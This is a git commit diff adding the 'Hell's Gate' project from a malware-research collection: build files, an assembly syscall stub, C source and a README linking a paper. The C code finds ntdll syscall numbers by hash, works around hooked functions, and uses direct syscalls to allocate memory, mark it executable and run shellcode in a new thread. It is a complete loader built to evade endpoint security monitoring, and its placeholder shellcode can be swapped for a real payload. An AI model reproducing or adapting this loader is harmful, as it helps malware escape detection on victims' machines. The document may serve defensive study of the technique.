updates and moves

n/a
This commit is contained in:
vxunderground
2022-04-11 20:00:13 -05:00
parent 1275ea2e03
commit 900263ea6f
809 changed files with 149115 additions and 1594 deletions
@@ -0,0 +1,360 @@
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# Fody - auto-generated XML schema
FodyWeavers.xsd
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30114.105
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB}
EndGlobalSection
EndGlobal
@@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{dc6187cb-d5df-4973-84a2-f92aae90cda9}</ProjectGuid>
<RootNamespace>HellsGate</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
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<ImportGroup Label="Shared">
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
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<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
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<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
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</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
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<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<Link>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<WarningLevel>Level3</WarningLevel>
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<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
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<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="structs.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="hellsgate.asm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
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@@ -0,0 +1,32 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="structs.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="hellsgate.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
@@ -0,0 +1,23 @@
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
@@ -0,0 +1,211 @@
#pragma once
#include <Windows.h>
#include "structs.h"
/*--------------------------------------------------------------------
VX Tables
--------------------------------------------------------------------*/
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
/*--------------------------------------------------------------------
Function prototypes.
--------------------------------------------------------------------*/
PTEB RtlGetThreadEnvironmentBlock();
BOOL GetImageExportDirectory(
_In_ PVOID pModuleBase,
_Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
);
BOOL GetVxTableEntry(
_In_ PVOID pModuleBase,
_In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
_In_ PVX_TABLE_ENTRY pVxTableEntry
);
BOOL Payload(
_In_ PVX_TABLE pVxTable
);
PVOID VxMoveMemory(
_Inout_ PVOID dest,
_In_ const PVOID src,
_In_ SIZE_T len
);
/*--------------------------------------------------------------------
External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
Payload(&Table);
return 0x00;
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x7734773477347734;
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
char* d = dest;
const char* s = src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}
@@ -0,0 +1,337 @@
#pragma once
#include <Windows.h>
/*--------------------------------------------------------------------
STRUCTURES
--------------------------------------------------------------------*/
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _TEB {
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
#else
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PACTIVATION_CONTEXT EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _INITIAL_TEB {
PVOID StackBase;
PVOID StackLimit;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
} INITIAL_TEB, * PINITIAL_TEB;
@@ -0,0 +1,21 @@
## Hell's Gate ##
Original C Implementation of the Hell's Gate VX Technique
<br />
<br />
Link to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf
<br /> PDF also included in this repository.
<br />
<br />
Authors:
* Paul Laîné (@am0nsec)
* smelly__vx (@RtlMateusz)
<br />
### Update ###
Please note:
* We are not claiming that this is ground-breaking as many people have been using this kind of technique for many years;
* We are not claiming that this is the perfect and most optimised way to archive the objective. This is just one example on how to implementation the technique;
* Judging the idea/technique/project/research solely on the name is petty to say the least and definitively childish; and
* Any recommendation and/or ideas will always be welcome, just open an issue in this repository.
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